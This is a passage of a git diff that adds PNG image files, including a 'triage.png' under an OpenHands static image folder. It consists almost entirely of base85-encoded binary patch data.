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

literal 0
HcmV?d00001

diff --git a/openhands/static/img/software-factory/triage.png b/openhands/static/img/software-factory/triage.png
new file mode 100644
index 0000000000000000000000000000000000000000..6e06fcd6a68e271e045ebfed6ba0401b15f37433
GIT binary patch
literal 59298
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
